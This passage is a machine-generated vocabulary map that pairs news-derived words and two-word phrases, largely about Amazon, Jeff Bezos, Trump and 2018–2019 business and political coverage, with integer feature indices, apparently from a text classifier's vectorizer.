document": 99192, "warfare": 99193, "hours week": 99194, "indicted trump": 99195, "shortcomings": 99196, "medical issue": 99197, "making hush": 99198, "cohen receives": 99199, "screenx screeny": 99200, "new customers": 99201, "shooting happened": 99202, "offers midpoint": 99203, "acosta earlier": 99204, "bulk": 99205, "hammond": 99206, "mccain says": 99207, "new memorandum": 99208, "scrutiny growing": 99209, "king usually": 99210, "house ways": 99211, "infused politically": 99212, "outfitting": 99213, "faked": 99214, "va 22201": 99215, "cheekily titled": 99216, "salty snack": 99217, "shipping expense": 99218, "don deserve": 99219, "money overall": 99220, "formed blue": 99221, "analyst thinks": 99222, "chase battlefield": 99223, "mccrae dowless": 99224, "ceo tool": 99225, "unaccountable controllers": 99226, "obreht signature": 99227, "just raised": 99228, "inappropriate language": 99229, "united methodist": 99230, "notoriously close": 99231, "mawr holds": 99232, "grocery selection": 99233, "5g market": 99234, "mst human": 99235, "leaders offering": 99236, "working environment": 99237, "investor berkshire": 99238, "chosen city": 99239, "different industries": 99240, "legislation passed": 99241, "marketing play": 99242, "government capital": 99243, "emotive ideas": 99244, "airbnb large": 99245, "sheet records": 99246, "freight train": 99247, "kari paul": 99248, "harsher stance": 99249, "bardem": 99250, "destroyed": 99251, "nunavut": 99252, "brief appearance": 99253, "walmart nyse": 99254, "deaths continue": 99255, "goods straight": 99256, "involving movie": 99257, "huguen": 99258, "agenda commondreams": 99259, "hile control": 99260, "neighborhood priorities": 99261, "jr jeff": 99262, "amnesty international": 99263, "delivery options": 99264, "multiple emails": 99265, "amazon enjoys": 99266, "professionally": 99267, "distributed annually": 99268, "fake poll": 99269, "ionospheric": 99270, "scars remain": 99271, "applicable": 99272, "trade resolution": 99273, "burgeoning startups": 99274, "shopping behemoth": 99275, "eisenbach": 99276, "know better": 99277, "comfort food": 99278, "aiding": 99279, "enquirer handling": 99280, "khannaelection": 99281, "critic clive": 99282, "news brexit": 99283, "new bezos": 99284, "shares capwealth": 99285, "diverse dialogue": 99286, "janus": 99287, "sector courtney": 99288, "tariff induced": 99289, "loosening": 99290, "revenue service": 99291, "reads laura": 99292, "nextvideourl turnonflashmessaging": 99293, "content twitter": 99294, "cap incorporated": 99295, "ap commerce": 99296, "sept": 99297, "cheney": 99298, "knowledgeable authorities": 99299, "amendment campaign": 99300, "fear showrooming": 99301, "amazon bake": 99302, "unnamed trump": 99303, "hq2 cities": 99304, "expect deference": 99305, "machina": 99306, "political burlesque": 99307, "committee chair": 99308, "forward separately": 99309, "lost new": 99310, "iron oxide": 99311, "overlooks critical": 99312, "company ranked": 99313, "braunstein bayside": 99314, "huge space": 99315, "violent conflict": 99316, "post white": 99317, "related link": 99318, "technology vn": 99319, "jill richardson": 99320, "potential conflicts": 99321, "wife getty": 99322, "largest landless": 99323, "strategic partnerships": 99324, "gripping potent": 99325, "service bezos": 99326, "returns 100": 99327, "methodical approach": 99328, "coverage politically": 99329, "arrebatar su": 99330, "underpenetrated": 99331, "monopoly": 99332, "e8 l8": 99333, "ouch zack": 99334, "lanzatech ceo": 99335, "prostrate enlargement": 99336, "viewed ocasio": 99337, "pocketed rivals": 99338, "logo takes": 99339, "postal reform": 99340, "facing growing": 99341, "media bureaucratic": 99342, "politico europe": 99343, "similar sized": 99344, "education real": 99345, "news trashed": 99346, "term trend": 99347, "inc_filelocation": 99348, "trump conspiring": 99349, "regulator mandated": 99350, "house mired": 99351, "regulatory consent": 99352, "owl _items": 99353, "tory tory": 99354, "wedbush analyst": 99355, "trading government": 99356, "powerful men": 99357, "newspeson": 99358, "harris claim": 99359, "postal governing": 99360, "u2x p8": 99361, "slowly building": 99362, "receive lot": 99363, "prior elected": 99364, "figures clearly": 99365, "dissemination": 99366, "war cibc": 99367, "stem professionals": 99368, "intelligent humour": 99369, "steady money": 99370, "industry averages": 99371, "mass unbiblical": 99372, "subsidizes walmart": 99373, "job opportunities": 99374, "cash levels": 99375, "singaporean citizen": 99376, "worker movement": 99377, "communications stone": 99378, "dispatch wildfire": 99379, "maloney condemns": 99380, "2017 senate": 99381, "ruling allows": 99382, "freshman": 99383, "cuseum founder": 99384, "644 874": 99385, "casualties featured": 99386, "fluctuating economy": 99387, "intoxicated": 99388, "speakers amazon": 99389, "senior vice": 99390, "gene": 99391, "recent financial": 99392, "enquirer old": 99393, "racist additionally": 99394, "2018 prnewswire": 99395, "jarrett reveals": 99396, "facing pressure": 99397, "job pic": 99398, "prolific singer": 99399, "recorded valuation": 99400, "awards erasing": 99401, "picked": 99402, "huisman": 99403, "wynn divorced": 99404, "inflating earnings": 99405, "radically different": 99406, "eps hit": 99407, "shopping online": 99408, "stz fell": 99409, "oft stated": 99410, "discuss amazon": 99411, "lf": 99412, "highlight howthe": 99413, "bezos geekwire": 99414, "industry executives": 99415, "price rise": 99416, "federal capital": 99417, "woman lauren": 99418, "amazon reading": 99419, "desperate cities": 99420, "bling": 99421, "nola": 99422, "globe awards": 99423, "fueled bull": 99424, "corp international": 99425, "boost individuals": 99426, "mothers": 99427, "reflection": 99428, "companies various": 99429, "agenda muilenburg": 99430, "wasn perfect": 99431, "mktw": 99432, "benefits make": 99433, "elaborate grovel": 99434, "dropping palantir": 99435, "lash": 99436, "jason bailey": 99437, "fined": 99438, "honest engagement": 99439, "insider bezos": 99440, "business think": 99441, "decades washington": 99442, "following strong": 99443, "takeaway": 99444, "inflation spike": 99445, "entire market": 99446, "american kids": 99447, "unsparingly": 99448, "collect amazon": 99449, "publisher american": 99450, "venerated wall": 99451, "took fresh": 99452, "committees pacs": 99453, "marketplace bearing": 99454, "getting high": 99455, "free package": 99456, "netflix nyt": 99457, "sunlit": 99458, "outside union": 99459, "marketplace reported": 99460, "involves surprise": 99461, "turning": 99462, "outperform ratings": 99463, "queensbridge tenants": 99464, "hill russia": 99465, "attacked hillary": 99466, "consumers love": 99467, "women clothing": 99468, "present contracts": 99469, "service needs": 99470, "party republicans": 99471, "recapped": 99472, "bouugkgpyc jessica": 99473, "missed expectations": 99474, "receives approval": 99475, "tariff man": 99476, "house predicting": 99477, "hager": 99478, "physician offices": 99479, "average marked": 99480, "runs fleet": 99481, "revenue did": 99482, "eyes tongue": 99483, "commitment plan": 99484, "routinely avoided": 99485, "unscrupulous methods": 99486, "ami expos\u00e9": 99487, "filene": 99488, "relationship wrote": 99489, "political chasm": 99490, "cost allocation": 99491, "birds eye": 99492, "101": 99493, "insulting": 99494, "refutes": 99495, "customers surcharge": 99496, "budget incorporates": 99497, "relelased": 99498, "4q18 revenue": 99499, "amberin zaman": 99500, "island thirteen": 99501, "sourcelink": 99502, "worked tirelessly": 99503, "obama sign": 99504, "insider wrote": 99505, "cloud gives": 99506, "specialized services": 99507, "dollar corporations": 99508, "start chattering": 99509, "panel warns": 99510, "elan": 99511, "deutsche monitor": 99512, "rule articles": 99513, "coverage critical": 99514, "peggy quince": 99515, "assembly listen": 99516, "cortez aoc": 99517, "starbucks heather": 99518, "campaign took": 99519, "stunned": 99520, "000 global": 99521, "reuters manufacturing": 99522, "recognizing gender": 99523, "deforestation caused": 99524, "surpassing amazon": 99525, "wasn politician": 99526, "missing washington": 99527, "cnl_contributor_accessflag true": 99528, "proposed including": 99529, "news responded": 99530, "divorces": 99531, "brainard federal": 99532, "legality": 99533, "budget speaking": 99534, "likes competition": 99535, "wants municipal": 99536, "immediately dove": 99537, "winner cardi": 99538, "report details": 99539, "2017 matt": 99540, "year maximum": 99541, "gaping hole": 99542, "murderer": 99543, "politico illinois": 99544, "include routers": 99545, "companies operating": 99546, "regulation": 99547, "month following": 99548, "jorg carstensen": 99549, "systematic attack": 99550, "department officials": 99551, "betting": 99552, "mcdowell exactly": 99553, "senator joseph": 99554, "created seemingly": 99555, "allows corporate": 99556, "2014 facebook": 99557, "judge thomas": 99558, "public schedule": 99559, "reactid 151": 99560, "charges barr": 99561, "myth looks": 99562, "star stay": 99563, "american united": 99564, "grande": 99565, "brightest spot": 99566, "mdd": 99567, "key services": 99568, "ambivalent view": 99569, "really tell": 99570, "chuxing": 99571, "clears": 99572, "finds skull": 99573, "incentives totaling": 99574, "donnell asked": 99575, "rutgers": 99576, "applications comment": 99577, "time ally": 99578, "action": 99579, "paid handsomely": 99580, "wanderer hiromi": 99581, "firms actually": 99582, "ohlin vice": 99583, "council smalls": 99584, "current child": 99585, "different incentives": 99586, "afloat counterpunch": 99587, "checked trump": 99588, "pinnacle acquisition": 99589, "rose cents": 99590, "mechanical keyboard": 99591, "crm solutions": 99592, "2015 described": 99593, "board normally": 99594, "image 22774588": 99595, "hype grows": 99596, "local alerts": 99597, "care according": 99598, "timmerman report": 99599, "industry workers": 99600, "kayla goggin": 99601, "parkland attack": 99602, "oppo strategy": 99603, "shares stake": 99604, "leroy": 99605, "frank inside": 99606, "solution containing": 99607, "clarity transparency": 99608, "initial jobless": 99609, "g4 j0": 99610, "warrant reflects": 99611, "fallen billions": 99612, "posted better": 99613, "personal diaries": 99614, "judith giuliani": 99615, "ice": 99616, "enormous bundles": 99617, "frei president": 99618, "told vogue": 99619, "cornillie": 99620, "hold stock": 99621, "stifel nicolaus": 99622, "richer trend": 99623, "birding": 99624, "post aug": 99625, "communities impacted": 99626, "philanthropic ideas": 99627, "witch": 99628, "history replacestate": 99629, "sinclair ownership": 99630, "loopholes click": 99631, "signing secret": 99632, "felony charges": 99633, "following insert": 99634, "despite promises": 99635, "relying entirely": 99636, "legitimate": 99637, "komisyon": 99638, "amazon mountain": 99639, "personal responsibility": 99640, "filed formal": 99641, "kilter": 99642, "save earth": 99643, "scandal read": 99644, "report produced": 99645, "enlisted": 99646, "austin": 99647, "sun owns": 99648, "jaded view": 99649, "meetings included": 99650, "hat angry": 99651, "help students": 99652, "italy communications": 99653, "dead zone": 99654, "counsel probe": 99655, "misguided": 99656, "applebee": 99657, "smelled": 99658, "constrain risk": 99659, "interviews recently": 99660, "organization convention": 99661, "presidential contenders": 99662, "camp latest": 99663, "manages investors": 99664, "grassroots backlash": 99665, "comment boxes": 99666, "search results": 99667, "fewer people": 99668, "bolsonaro campaign": 99669, "york despite": 99670, "standing bending": 99671, "base grew": 99672, "records live": 99673, "maximum 400": 99674, "career say": 99675, "food porn": 99676, "selling electronic": 99677, "bezos leaked": 99678, "news leaking": 99679, "lives protect": 99680, "products data": 99681, "arrivals program": 99682, "168": 99683, "rides": 99684, "preteen": 99685, "beach key": 99686, "dollars wrote": 99687, "highlight broader": 99688, "tesla sending": 99689, "words cow": 99690, "follow business": 99691, "reporters kept": 99692, "important word": 99693, "time": 99694, "consumer division": 99695, "likeness": 99696, "masthead": 99697, "npr 2017": 99698, "similar benefits": 99699, "close yesterday": 99700, "record 107": 99701, "economic slowdown": 99702, "jonathan karl": 99703, "interpreted huseman": 99704, "group instead": 99705, "administration chose": 99706, "exploit": 99707, "post brennan": 99708, "pac spending": 99709, "kashkari": 99710, "metadata__show": 99711, "hamm": 99712, "prep tech": 99713, "pail": 99714, "preferred means": 99715, "mijente called": 99716, "enforcement investigator": 99717, "article calendar": 99718, "n3x": 99719, "central bank": 99720, "saul netflix": 99721, "stories people": 99722, "ongoing market": 99723, "additional charge": 99724, "space read": 99725, "warned amazon": 99726, "terrifying laughing": 99727, "228648 inc_homepage_headline": 99728, "official told": 99729, "owns 686": 99730, "healthcare bezos": 99731, "edward": 99732, "trump consumers": 99733, "clients warning": 99734, "program nationwide": 99735, "firms oil": 99736, "completely destroyed": 99737, "altria pulls": 99738, "cancer diagnosis": 99739, "arthur jones": 99740, "electrocution living": 99741, "topfilelocation lead": 99742, "living boteach": 99743, "foods remains": 99744, "force painted": 99745, "target claiming": 99746, "wong right": 99747, "using intelligence": 99748, "sideways": 99749, "page extension": 99750, "hire": 99751, "post exposed": 99752, "included arnold": 99753, "second person": 99754, "visitor warren": 99755, "complicated numbers": 99756, "return o4": 99757, "preventdefault": 99758, "green sent": 99759, "conflated amazon": 99760, "probably produced": 99761, "jessie handcuffed": 99762, "confirmed william": 99763, "paying hush": 99764, "twoyears ago": 99765, "technology driven": 99766, "intercontinental": 99767, "plays thucydides": 99768, "tabloid magazine": 99769, "main focus": 99770, "reported profit": 99771, "obligations trump": 99772, "emts": 99773, "retailers struggle": 99774, "lawfully american": 99775, "officials sought": 99776, "beauty view": 99777, "bembenek lindsay": 99778, "utilized scientists": 99779, "sweat shop": 99780, "offhandedly": 99781, "mayweather jr": 99782, "critical vaccine": 99783, "rubber": 99784, "email forwarded": 99785, "multichannel": 99786, "bought branded": 99787, "killed small": 99788, "sanders repeated": 99789, "studios head": 99790, "disasters screen": 99791, "congress pass": 99792, "subscribing": 99793, "crying girl": 99794, "sports owners": 99795, "steemit somee": 99796, "u2x x8": 99797, "cardiologists cite": 99798, "supreme": 99799, "reaction dow": 99800, "carter says": 99801, "administration rife": 99802, "dallas texas": 99803, "ap hide": 99804, "safe sender": 99805, "chomsky": 99806, "super dohastadium": 99807, "cost savings": 99808, "carstensen dpa": 99809, "source thehill": 99810, "fool published": 99811, "kominers": 99812, "internet shares": 99813, "new cookbook": 99814, "slow death": 99815, "echo alexa": 99816, "turned red": 99817, "oversight wrote": 99818, "riches drug": 99819, "gadgets popular": 99820, "drones amazon": 99821, "protection officers": 99822, "98point6 mission": 99823, "regulators include": 99824, "optimize amazon": 99825, "authors estimate": 99826, "rapid decline": 99827, "columbia sportswear": 99828, "markets shipstation": 99829, "hailing firm": 99830, "sector ability": 99831, "spend heavily": 99832, "page advertisement": 99833, "florence": 99834, "husband patrick": 99835, "steakhouse": 99836, "companies jeff": 99837, "pme": 99838, "trump concedes": 99839, "sorkin directs": 99840, "bezos mark": 99841, "accuses trump": 99842, "friendly press": 99843, "related building": 99844, "incidents marblehead": 99845, "couple cities": 99846, "trump haters": 99847, "g7a k1a": 99848, "trump varney": 99849, "inuit": 99850, "alfonso": 99851, "gillum": 99852, "roughly 150": 99853, "comment comment": 99854, "americans uncovered": 99855, "transform queens": 99856, "credible competitor": 99857, "leverage": 99858, "real christmas": 99859, "trump looks": 99860, "bebest": 99861, "include best": 99862, "fundamental values": 99863, "based behemoth": 99864, "creature": 99865, "pastel": 99866, "killed laura": 99867, "community tragic": 99868, "fry": 99869, "wwi veterans": 99870, "erik mcgregor": 99871, "blackkklansman spike": 99872, "defense deal": 99873, "film anchor": 99874, "city today": 99875, "anomalies": 99876, "xstjcl0qm1 abc": 99877, "169": 99878, "hurtful coming": 99879, "government props": 99880, "experts argue": 99881, "truly": 99882, "cancels plans": 99883, "living president": 99884, "data related": 99885, "legal disputes": 99886, "robert burns": 99887, "suddenly jump": 99888, "photos confidential": 99889, "intense nationwide": 99890, "list baby": 99891, "trump putin": 99892, "geekwire bezos": 99893, "amazon lowest": 99894, "smirks": 99895, "buys weren": 99896, "nasdaq sybt": 99897, "column originally": 99898, "stone becker": 99899, "cancer specialists": 99900, "schuster exit": 99901, "operations earlier": 99902, "personal tax": 99903, "magical realism": 99904, "coloured": 99905, "book fair": 99906, "rosen provided": 99907, "tech issues": 99908, "including semi": 99909, "naturally protected": 99910, "bezos worth": 99911, "compiles list": 99912, "unserious": 99913, "republican congressmen": 99914, "abbi": 99915, "rehearsal": 99916, "increased slightly": 99917, "chicago billionaire": 99918, "follow sean": 99919, "difficulty squeebles": 99920, "misdemeanor": 99921, "amazon bookstores": 99922, "included racist": 99923, "create competitive": 99924, "finance america": 99925, "irish actress": 99926, "episode tackles": 99927, "services rekognition": 99928, "inc_show_feature_imageflag": 99929, "certain violent": 99930, "personal photos": 99931, "investigative article": 99932, "8217 history": 99933, "picayune": 99934, "gibbs says": 99935, "weinstein turns": 99936, "skating": 99937, "innocents": 99938, "story invest": 99939, "fargo mn": 99940, "investors begin": 99941, "bangin": 99942, "offer letters": 99943, "searches": 99944, "health initiative": 99945, "human altered": 99946, "related concern": 99947, "volpe": 99948, "expedia nasdaq": 99949, "happen": 99950, "hotspots disproportionate": 99951, "opened thecounter": 99952, "tools needed": 99953, "strachan contributed": 99954, "including state": 99955, "fight facebook": 99956, "receive complaint": 99957, "bad areas": 99958, "run amok": 99959, "versus": 99960, "dramatic improvement": 99961, "moving interior": 99962, "certainly don": 99963, "notably cohn": 99964, "executives michael": 99965, "giant ambitions": 99966, "celebrity glossy": 99967, "donnell yeah": 99968, "junqueira maintains": 99969, "farmers republicans": 99970, "post crisis": 99971, "president newfound": 99972, "just commerce": 99973, "true journalist": 99974, "tycoon john": 99975, "independent current": 99976, "government assistance": 99977, "kill operation": 99978, "casinos amazon": 99979, "spending associated": 99980, "hadn paid": 99981, "2017 debut": 99982, "subdued start": 99983, "shaved 190": 99984, "florida dep": 99985, "long willowy": 99986, "school children": 99987, "4billion": 99988, "tv media": 99989, "california democrat": 99990, "reap billion": 99991, "amazon hit": 99992, "23andme": 99993, "makes plans": 99994, "dressage dumps": 99995, "republican leaning": 99996, "amazon certainly": 99997, "mention talk": 99998, "researchon": 99999, "story detained": 100000, "amazon touted": 100001, "unsustainable economic": 100002, "incoming democratic": 100003, "regulations banning": 100004, "conservation workman": 100005, "2018 story": 100006, "acquisition advisory": 100007, "render final": 100008, "ecommerce market": 100009, "welcome village": 100010, "magazine spent": 100011, "lieber": 100012, "teixeira editing": 100013, "alistair lowe": 100014, "diseased existence": 100015, "opinions expressed": 100016, "consumers wanting": 100017, "retail monopoly": 100018, "puzder understands": 100019, "sprinting ahead": 100020, "final mile": 100021, "committed": 100022, "shakers": 100023, "amazon number": 100024, "swipe fees": 100025, "futures rising": 100026, "mile wide": 100027, "allies pushing": 100028, "audience members": 100029, "trump associates": 100030, "process drive": 100031, "longer available": 100032, "dairy allergy": 100033, "defy": 100034, "super important": 100035, "oil futures": 100036, "saying simply": 100037, "die geography": 100038, "country ig": 100039, "led saudi": 100040, "evaluated": 100041, "including publicly": 100042, "advised washington": 100043, "leak": 100044, "investors concluded": 100045, "female politician": 100046, "calls institutional": 100047, "clinically": 100048, "global innovation": 100049, "turn make": 100050, "authorised entrepreneurs": 100051, "interview conducted": 100052, "policed": 100053, "floods ice": 100054, "lynched saying": 100055, "company treated": 100056, "scalable": 100057, "officialsin room": 100058, "rankings": 100059, "man ahead": 100060, "institution says": 100061, "meditative memoir": 100062, "dangerous sulzberger": 100063, "italian fashion": 100064, "make finally": 100065, "popular anti": 100066, "million remember": 100067, "database bartiromo": 100068, "weren sure": 100069, "custody issues": 100070, "prlog": 100071, "cking": 100072, "silicone": 100073, "report recommendations": 100074, "australian unit": 100075, "m4 f4": 100076, "marco island": 100077, "moll\u00e0 cristina": 100078, "internet taxes": 100079, "west pleaded": 100080, "fails portrait": 100081, "news bryan": 100082, "jones latest": 100083, "veterans benefits": 100084, "swimming straight": 100085, "carville": 100086, "percentage gains": 100087, "house sen": 100088, "way america": 100089, "currenttarget r4ee": 100090, "net loss": 100091, "conservative activists": 100092, "statement kid": 100093, "year peak": 100094, "gargantuan": 100095, "enquirer believed": 100096, "create suite": 100097, "dc kalorama": 100098, "topics involving": 100099, "justine bateman": 100100, "warming read": 100101, "leftist rag": 100102, "serv": 100103, "baseless theories": 100104, "associate posted": 100105, "green party": 100106, "good horror": 100107, "toss roe": 100108, "burning man": 100109, "streaming amazon": 100110, "antagonistic": 100111, "based business": 100112, "dozen lawmakers": 100113, "org taxvox": 100114, "international net": 100115, "aimed chiefly": 100116, "unethical": 100117, "best looking": 100118, "lawyer additionally": 100119, "measure social": 100120, "tobias": 100121, "emergency situation": 100122, "unnecessary distraction": 100123, "actual race": 100124, "preoccupation": 100125, "unmistakable stamp": 100126, "world married": 100127, "trade shawn": 100128, "1542et copyright": 100129, "preliminary deal": 100130, "unsuspecting new": 100131, "assistant professor": 100132, "bittorrent": 100133, "magazine online": 100134, "dispatched tweet": 100135, "apples loss": 100136, "2017 given": 100137, "labelled group": 100138, "google purchase": 100139, "300 ports": 100140, "3po": 100141, "mair led": 100142, "woes 2018": 100143, "create": 100144, "awarded billion": 100145, "renato": 100146, "janeiro": 100147, "lopez": 100148, "newest smartphones": 100149, "announced program": 100150, "times writing": 100151, "outrageous prices": 100152, "epa amazon": 100153, "sexual pictures": 100154, "buffett reflects": 100155, "build paris": 100156, "11s": 100157, "houston billion": 100158, "aclu released": 100159, "amy bass": 100160, "shuttered federal": 100161, "notyet aired": 100162, "divorce occurred": 100163, "outlet": 100164, "amazon locating": 100165, "industry sustainability": 100166, "corporation tgt": 100167, "federal employees": 100168, "monthly customer": 100169, "isikoff": 100170, "punchiest": 100171, "enforcement slew": 100172, "cnbctech": 100173, "york saying": 100174, "bezos focused": 100175, "committee hacked": 100176, "party lacked": 100177, "dhs department": 100178, "andsay prayer": 100179, "axing": 100180, "overrode": 100181, "amazon special": 100182, "airbus bids": 100183, "stance quickly": 100184, "cease procuring": 100185, "state jair": 100186, "month president": 100187, "analyst jarrett": 100188, "imposes costs": 100189, "violates": 100190, "member harlan": 100191, "haven drunk": 100192, "lower occupant": 100193, "mta couple": 100194, "000 postal": 100195, "putin explained": 100196, "googl goog": 100197, "nonetheless president": 100198, "o1": 100199, "legislation rejected": 100200, "platforms amazon": 100201, "pick amy": 100202, "private meeting": 100203, "thumb exlarge": 100204, "amazon drop": 100205, "cloud landscape": 100206, "questioning indicated": 100207, "product offerings": 100208, "downey downey": 100209, "mondavi cabernet": 100210, "moac mother": 100211, "previously cost": 100212, "illicit fentanyl": 100213, "speech ftc": 100214, "ledger turned": 100215, "dershowitz voted": 100216, "activate plans": 100217, "bkng": 100218, "maria montessori": 100219, "warner trump": 100220, "mcdougal cohen": 100221, "president infamously": 100222, "antitrust inquiry": 100223, "believes spicer": 100224, "duke kominers": 100225, "imposter insulting": 100226, "blasio blaming": 100227, "helps small": 100228, "liberation organization": 100229, "bringing thousands": 100230, "investigation closed": 100231, "rippled": 100232, "life entity": 100233, "fencing epee": 100234, "assembly chose": 100235, "holds large": 100236, "imported autos": 100237, "crisis consumer": 100238, "everytown": 100239, "openly attacks": 100240, "suckers": 100241, "wars bezos": 100242, "letter obtained": 100243, "perennial target": 100244, "makerspace": 100245, "vmw": 100246, "barclays analysts": 100247, "revelations family": 100248, "using special": 100249, "adult later": 100250, "mahoney asset": 100251, "conway": 100252, "professor michael": 100253, "sharp pricing": 100254, "girls skateboarding": 100255, "beef supply": 100256, "mean bezos": 100257, "parents allow": 100258, "interfaces": 100259, "employees protest": 100260, "advancement": 100261, "recent eve": 100262, "sudan military": 100263, "company directly": 100264, "french luxury": 100265, "erased drop": 100266, "group does": 100267, "political dangers": 100268, "occupant": 100269, "article illustrated": 100270, "high prices": 100271, "business fleet": 100272, "dingell remembrance": 100273, "dense residential": 100274, "297 million": 100275, "sanders told": 100276, "shipping fresh": 100277, "checks": 100278, "incur": 100279, "generated recommendations": 100280, "mayor race": 100281, "report read": 100282, "retailers retail": 100283, "saunders managing": 100284, "imperium": 100285, "million going": 100286, "seller amazon": 100287, "historic document": 100288, "general manager": 100289, "online companies": 100290, "santos presidency": 100291, "trumpfamily": 100292, "violators": 100293, "favorite target": 100294, "brooklyn": 100295, "spooky mansion": 100296, "significantly better": 100297, "false type": 100298, "rumored": 100299, "contain funding": 100300, "began counting": 100301, "media fury": 100302, "spice": 100303, "soon sanchez": 100304, "companies arising": 100305, "tom single": 100306, "index slid": 100307, "philosophies": 100308, "trumping politics": 100309, "wendy benjaminson": 100310, "policies ferrari": 100311, "story bad": 100312, "spot implores": 100313, "big splashes": 100314, "republican primary": 100315, "wouldn want": 100316, "reflect systemic": 100317, "book helps": 100318, "properly valuate": 100319, "political viewpoints": 100320, "direct access": 100321, "arguments switch": 100322, "install longtime": 100323, "felix": 100324, "price tag": 100325, "2015 shortly": 100326, "man machine": 100327, "international community": 100328, "elizabeth strout": 100329, "taken heavy": 100330, "statista explains": 100331, "directors making": 100332, "suffered mightily": 100333, "today breakfast": 100334, "gerald": 100335, "math charging": 100336, "matthew mitchell": 100337, "lets people": 100338, "establishing trust": 100339, "label business": 100340, "writer": 100341, "robot attacks": 100342, "elkan abramowitz": 100343, "executive elon": 100344, "biden slippery": 100345, "gonna bring": 100346, "read emails": 100347, "mandating government": 100348, "significant cause": 100349, "kodak": 100350, "avalara ipo": 100351, "competitive pay": 100352, "believe makes": 100353, "thanks jeff": 100354, "increase request": 100355, "booker rep": 100356, "eric westervelt": 100357, "quarles isn": 100358, "gupta point": 100359, "doctors including": 100360, "lost thousands": 100361, "click shopping": 100362, "army general": 100363, "points highlighting": 100364, "choices affect": 100365, "practice solely": 100366, "bezos multiple": 100367, "makes type": 100368, "us1": 100369, "meer doen": 100370, "stocks rally": 100371, "rate starts": 100372, "edge 2018": 100373, "cjs subcommittee": 100374, "731 576": 100375, "openly grousing": 100376, "fox declined": 100377, "tweeted cnbc": 100378, "tijuana mexico": 100379, "lead lead": 100380, "area parker": 100381, "blue edge": 100382, "investigation heats": 100383, "cutting away": 100384, "welcome home": 100385, "1837": 100386, "camera time": 100387, "deal include": 100388, "penis pics": 100389, "stock clerks": 100390, "disparate": 100391, "new tools": 100392, "benefits managers": 100393, "final solicitation": 100394, "style bidding": 100395, "choice headlines": 100396, "increase spend": 100397, "time telling": 100398, "disease long": 100399, "market shows": 100400, "locations bezos": 100401, "singing gayle": 100402, "truly understood": 100403, "workers compensation": 100404, "fall reuters": 100405, "lost colonies": 100406, "lies just": 100407, "contender sen": 100408, "unicorn": 100409, "crosstalk": 100410, "revolutionized antitrust": 100411, "loss maybe": 100412, "small step": 100413, "pension prepayments": 100414, "transport stocks": 100415, "commonly generated": 100416, "mother": 100417, "india growth": 100418, "versus party": 100419, "nfl commissioner": 100420, "fcc chairman": 100421, "amzn exec": 100422, "employers need": 100423, "caterpillar nyse": 100424, "pitched amazon": 100425, "kearny mesa": 100426, "shane fernando": 100427, "featuring story": 100428, "krueger manhattan": 100429, "technology association": 100430, "account interestingly": 100431, "m6 r4ee": 100432, "podcast follow": 100433, "chew": 100434, "location close": 100435, "playerinstance typeof": 100436, "sm_npd_nn_tw_np": 100437, "america wrestling": 100438, "monte cristo": 100439, "activity associated": 100440, "bargain amazon": 100441, "surprise twitter": 100442, "hold different": 100443, "exchanges": 100444, "company ocasio": 100445, "recognition industry": 100446, "title believe": 100447, "row readers": 100448, "trade headlines": 100449, "portfolio 1st": 100450, "loss carryforward": 100451, "democrat favorably": 100452, "controversial editorial": 100453, "younggren": 100454, "general arthur": 100455, "succession": 100456, "tech kind": 100457, "raised objections": 100458, "testing alternative": 100459, "negativity": 100460, "slightly amazon": 100461, "bloomberg graphics": 100462, "nightly business": 100463, "exclusive discounts": 100464, "trump 2018": 100465, "order legal": 100466, "entanglements": 100467, "competing objectives": 100468, "homelessness county": 100469, "medical benefits": 100470, "reports gasol": 100471, "ecologically": 100472, "alright": 100473, "dlippman": 100474, "additionally audits": 100475, "nice bezos": 100476, "tri travel": 100477, "culture actually": 100478, "photo rich": 100479, "min sir": 100480, "subsequently died": 100481, "sexy jon": 100482, "tweet sarah": 100483, "glance cohen": 100484, "scottie neil": 100485, "enormous tax": 100486, "shoes clothing": 100487, "quarter accounting": 100488, "story gas": 100489, "smaller amazon": 100490, "mentored": 100491, "newhouse gabriella": 100492, "cutting deal": 100493, "bloc member": 100494, "post editorial": 100495, "nelson wsj": 100496, "protecting amazon": 100497, "requested information": 100498, "wang eater": 100499, "310 employees": 100500, "mueller investigation": 100501, "secdef james": 100502, "walkau senior": 100503, "american military": 100504, "murder john": 100505, "cnbc exclusive": 100506, "journal": 100507, "good place": 100508, "bipartisan deal": 100509, "olivia laing": 100510, "major topics": 100511, "heather havrilesky": 100512, "daniels lawyer": 100513, "rogowsky talks": 100514, "executive office": 100515, "religion personal": 100516, "small loud": 100517, "private equity": 100518, "naff fleeces": 100519, "places need": 100520, "gerrymandered": 100521, "chunk": 100522, "earlier time": 100523, "trump amazon": 100524, "sharon soderstrom": 100525, "adopted family": 100526, "recession proof": 100527, "embryonic": 100528, "terrestrial": 100529, "nutrition supplementation": 100530, "people says": 100531, "offerings negative": 100532, "backing pique": 100533, "deportations notechforicehttps": 100534, "authorised capital": 100535, "earners nashville": 100536, "jefferson": 100537, "nudge": 100538, "trump border": 100539, "strengthen office": 100540, "defer taxes": 100541, "cellular communication": 100542, "town sellers": 100543, "bio": 100544, "sicker": 100545, "imran tahir": 100546, "olive way": 100547, "diverse voices": 100548, "requiring tax": 100549, "loan": 100550, "quiet place": 100551, "bias lawmakers": 100552, "website box": 100553, "bezos getting": 100554, "unanimous vote": 100555, "timmerman": 100556, "lawyers wrote": 100557, "alt right": 100558, "wmt started": 100559, "simons responded": 100560, "discussed 25th": 100561, "mattis flew": 100562, "relative lack": 100563, "kersten": 100564, "mai talks": 100565, "buy amid": 100566, "documented": 100567, "pt": 100568, "smartphone market": 100569, "competitive salaries": 100570, "art market": 100571, "congratulates": 100572, "longevity": 100573, "394": 100574, "falter review": 100575, "youngest member": 100576, "big tech": 100577, "gathering sellers": 100578, "dispatch thank": 100579, "proposes sweeping": 100580, "doyle subcommittee": 100581, "weisselberg": 100582, "photos entertainment": 100583, "apparently trying": 100584, "crisis hundreds": 100585, "minutes gayle": 100586, "trumpy bear": 100587, "ro mama": 100588, "previously interviewed": 100589, "hair": 100590, "repeatedly credited": 100591, "twitter dleonhardt": 100592, "travel hazards": 100593, "keith": 100594, "project las": 100595, "wrong time": 100596, "competition primarily": 100597, "finds family": 100598, "dwellers certainly": 100599, "candidate patrick": 100600, "cents revenue": 100601, "delivering promised": 100602, "david olive": 100603, "keepsakes": 100604, "original big": 100605, "enjoyed strong": 100606, "walmart ex": 100607, "foreign competition": 100608, "huge sum": 100609, "comment stone": 100610, "omnipresent": 100611, "deal huge": 100612, "jobs survival": 100613, "gotten hammered": 100614, "tossing paper": 100615, "stocks": 100616, "service gaps": 100617, "class diversity": 100618, "staff members": 100619, "restriction": 100620, "owner countdown": 100621, 